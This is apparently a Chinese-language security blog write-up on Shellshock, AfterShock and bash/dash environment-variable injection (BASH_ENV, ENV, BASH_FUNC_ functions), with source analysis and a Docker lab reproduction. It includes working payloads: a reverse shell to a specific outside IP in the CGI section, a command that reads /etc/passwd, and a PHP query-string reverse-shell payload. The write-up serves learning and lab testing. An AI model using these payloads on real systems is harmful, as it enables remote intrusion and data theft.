从 Shellshock (CVE-2014-6271) 到 bash 通杀

​ 前段时间在网上查找提权教程的时候发现了bash漏洞的文章 但是此文仅是分析本地测试poc利用面只到本地命令注入,兴趣使然开始在网上继续查找bash漏洞相关芝士,最终读到P神文章并在此总结bash通杀。

我们所执行的任何程序,都是由父进程(parent process)所产生出来的一个子进程(child process),子进程在结束后,将返回到父进程去。此一现像在Linux系统中被称为 fork。当子进程被产生的时候,将会从父进程那里获得一定的资源分配、及(更重要的是)继承父进程的环境

Shellshock CVE-2014-6271

1
2
payload
$ env VAR='() { :;};id' bash -c "echo Bash Test"

我们在当前进程中声明变量 执行bash进入子进程中 var将无法访问

1
2
3
4
5
$ var="hello coolshell"
$ echo $var
hello coolshell
$ bash
$ echo $var

通过使用export env 声明环境变量 使子进程中可以访问到

1
2
export var="hello "
env var="hello "

当然函数也可以

1
2
3
4
5
6
7
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell

利用bash

构造恶意命令

1
export X='() { echo "inside X"; }; echo "outside X";'

查看环境变量确认 然后bash进入子进程

1
2
bash
outside X

当我们在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这会在父进程向子进程复制的过程中被执行

1
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

() { :;} 中的冒号就相当于/bin/true,返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程,用于触发函数体外的echo命令。

理论了解之后让我们拉取 vulhub的环境复现一下 存在两个cgi文件其中 safe.cgi 为修复漏洞后的bash

1
2
3
4
5
设置环境变量  X-Request-ID ()   或者   User-Agent 
#反弹shell
{ :; }; /bin/bash -i >& /dev/tcp/124.220.72.154/3307 0>&1;
#查看敏感文件
() { foo; }; echo Content-Type: text/plain; echo; /bin/cat /etc/passwd

因此能够实现 RCE 但是需要利用到cgi文件 但是现在cgi基本已经被淘汰 那么这个漏洞无用武之地了吗?

如果网站中有调用操作系统的shell命令,比如用PHP执行个exec之类的东西。这样的需求是有的,特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。

我们还知道,现在的HTTP服务器基本上都是以子进程式的,所以,其中必然会存在export 一些环境变量的事,而有的环境变量的值是从用户端来的,比如:HTTP_USER_AGENT这样的环境变量,只由浏览器发出的。这个变量完全可控。

于是,把HTTP_USER_AGENT的环境变量设置成上述的测试脚本,shell便轻松到手。

AfterShock CVE-2014-7169

1
env X='() { (a)=>\' sh -c "echo date"; cat echo
  • X=’() { (a)=>\’ 这个不用说了,定义一个X的环境变量。但是,这个函数不完整啊,是的,这是故意的。另外你一定要注意,\’不是为了单引号的转义,X这个变量的值就是 **() { (a)=>**
  • 其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误)。
  • 语法出错后,在缓冲区中就会只剩下了 “>\”这两个字符。
  • 于是,这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。
1
2
3
4
5
相当于执行
$ >\
echo date

>echo date 也就是 date > echo

bash通杀

那么bash注入除了cgi还有别的rce方式吗,有幸读到了P神的文章,利用环境变量注入执行任意命令。

代码审计与动态调试分析还请看P神原文:https://tttang.com/archive/1450/#toc_0x0a-centos-7

1
2
3
4
5
6
7
<?php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>//此代码该如何利用

PHP的system调用的是系统的popen(),popen最终执行的是这个spawn_process函数。

1
2
3
4
5
6
7
8
9
10
11
static bool
spawn_process (posix_spawn_file_actions_t *fa, FILE *fp, const char *command, int do_cloexec, int pipe_fds[2], int parent_end, int child_end,
int child_pipe_fd)
{
//...
if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0, (char *const[]){ (char*) "sh", (char*) "-c",
(char *) command, NULL }, __environ) != 0)
return false;
//...
return true;
}

最终执行的是命令sh -c "echo hello" 虽然是一条命令但是执行了两个二进制文件

当控制执行sh -c "echo hello"时的环境变量,是否可以getshell?

sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。

1
debian系

echo源码中只有一处与环境变量有关 且是bool型没有利用价值 我们先来看dash 的命令注入

1
2
3
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
read_profile(shinit);
}#main函数中的一段

lookupvar用于查找上下文中的变量,在shell中变量即为环境变量,所以这里等于找到了一个名为ENV的环境变量并传入read_profile函数中。

read_profile函数作用是读取SHELL中的profile文件,类似于$HOME/.profile这种:

1
2
3
4
5
6
7
8
9
STATIC void
read_profile(const char *name)
{
name = expandstr(name);
if (setinputfile(name, INPUT_PUSH_FILE | INPUT_NOFILE_OK) < 0)
return;
cmdloop(0);
popfile();
}

这里它对文件名name变量做了一次expandstr,也就是解析。

这个解析的目的是支持SHELL语法,比如会将$HOME解析成实际的家目录地址。既然支持SHELL语法,那么可能会支持执行命令。

但是在dash中iflag变量。经过分析发现,这个变量表示执行dash时是否传入了-i参数。

所以,我们将启动dash时的参数-c改成-i -c,再重新执行,即可发现成功进入read_profile

1
ENV='$(id 1>&2)' dash -i -c 'echo hello'

这里成功执行命令注入但是并不能rce开头php代码,因为PHP的system函数执行的是sh -c,并没有传入-i参数。当然在交互shell中,PS1也是可以触发的。

1
centos系

在Bash中这个环境变量叫BASH_ENV

1
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'

但是bash -c成功注入 sh -c却无法注入,内部有个if语句没有进去,原因是此时act_like_sh这个变量的值是1,当shell名字shell_name这个变量等于sh的时候,act_like_sh会变成1。这也就解释了我们前面反常的结果——为什么bash -c可以注入命令但sh -c不可以。

那么上面的php代码会是安全的么,variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
for (string_index = 0; env && (string = env[string_index++]); ) {
name = string;
// ...

if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))
{
size_t namelen;
char *tname; /* desired imported function name */

namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = '\0'; /* now tname == func name */

string_length = strlen (string);
temp_string = (char *)xmalloc (namelen + string_length + 2);

memcpy (temp_string, tname, namelen);
temp_string[namelen] = ' ';
memcpy (temp_string + namelen + 1, string, string_length + 1);

/* Don't import function names that are invalid identifiers from the
environment in posix mode, though we still allow them to be defined as
shell variables. */
if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
else
free (temp_string); /* parse_and_execute does this */
//...
}
}

这里for遍历了所有环境变量,并用=分割,name就是环境变量名,string是值。

当满足下面这些条件的情况下,temp_string将被传入parse_and_execute执行:

  • privmode == 0,即不能传入-p参数
  • read_but_dont_execute == 0,即不能传入-n参数
  • STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
  • STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
  • STREQN ("() {", string, 4),环境变量的值前4个字符等于() {

前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。

这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字

所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:

1
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

这里仍然存在一个问题是,因为在执行parse_and_execute的时候配置了SEVAL_FUNCDEF,我们只能利用这个方法定义函数,而无法逃逸出函数执行任意命令。解决这个问题的方法也很简单,我们只需要覆盖一些已有的“命令”,在后面执行这个命令的时候就可以执行到我们定义的函数里了。

那么,回到本文开头说的那个问题,我添加了一个名为echo的函数,这样在执行echo hello的时候实际上执行的是我添加的函数:

1
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

但是还有一些不完美,这便要提起上文的shellshock漏洞

BASH_FUNC_这个trick是在Bash 4.4下引入的,而centos7下使用的是bash 4.2

shellshock与上文的POC十分相似,原因就是,这个BASH_FUNC的环境变量,就是因为修复ShellShock而引入的。

在ShellShock刚出现的时候,Bash的最新版本是4.3,这也是为什么Bash 4.4的时候引入了BASH_FUNC。但是,这不代表4.4以下的Bash就没有修复ShellShock漏洞,那么,他们是怎么修复的呢?CentOS 7这类操作系统虽然修复了ShellShock漏洞,但是并不是通过升级Bash版本来修复的,而是通过“打补丁”。

1
2
3
4
5
6
7
8
9
10
11
12
13
--- ../bash-4.2-orig/variables.c    2014-09-25 13:07:59.313209541 +0200+++ variables.c 2014-09-25 13:15:29.869420719 +0200@@ -268,7 +268,7 @@
static void propagate_temp_var __P((PTR_T));
static void dispose_temporary_env __P((sh_free_func_t *));

-static inline char *mk_env_string __P((const char *, const char *));+static inline char *mk_env_string __P((const char *, const char *, int));
static char **make_env_array_from_var_list __P((SHELL_VAR **));
static char **make_var_export_array __P((VAR_CONTEXT *));
static char **make_func_export_array __P((void));
@@ -301,6 +301,14 @@
#endif
}

+/* Prefix and suffix for environment variable names which contain+ shell functions. */+#define FUNCDEF_PREFIX "BASH_FUNC_"+#define FUNCDEF_PREFIX_LEN (strlen (FUNCDEF_PREFIX))+#define FUNCDEF_SUFFIX "()"+#define FUNCDEF_SUFFIX_LEN (strlen (FUNCDEF_SUFFIX))++

可见,在这个补丁里也引入了FUNCDEF_PREFIXFUNCDEF_SUFFIX,只不过和4.4以下的有一处差异:Bash 4.4下**FUNCDEF_SUFFIX等于%%,而这个4.2的补丁中FUNCDEF_SUFFIX等于()**。

1
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

所以,之后我们遇到环境变量注入,可以进行下列三种测试:

  • Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。

总结

1
2
3
4
5
BASH_ENV:可以在bash -c的时候注入任意命令
ENV:可以在sh -i -c的时候注入任意命令
PS1:可以在sh或bash交互式环境下执行任意命令
PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令

参考:

https://coolshell.cn/articles/11973.html#%E5%85%B3%E4%BA%8E_AfterShock_%E2%80%93_CVE-2014-7169_%E6%B5%8B%E8%AF%95%E8%84%9A%E6%9C%AC%E7%9A%84%E8%A7%A3%E9%87%8A

https://www.antiy.com/response/CVE-2014-6271.html

https://tttang.com/archive/1450/#toc_0x0a-centos-7

https://coolshell.cn/articles/7965.html

搭建环境复现

1
2
3
4
5
?envs[BASH_FUNC_echo%%]=() { /bin/bash -i >& /dev/tcp/ip/port 0>&1; }
docker run -p 9999:80 -it -d php:7.2-apache bash
#复制php文件到 www/html 进入交互界面
service apache2 restart
ln -s bash /bin/sh -f

或者直接下载dockerfile文件 docker compose build docker compose up -d

暂时无法在飞书文档外展示此内容

1
2
3
payload
?key=BASH_FUNC_echo%%
val=() { id; }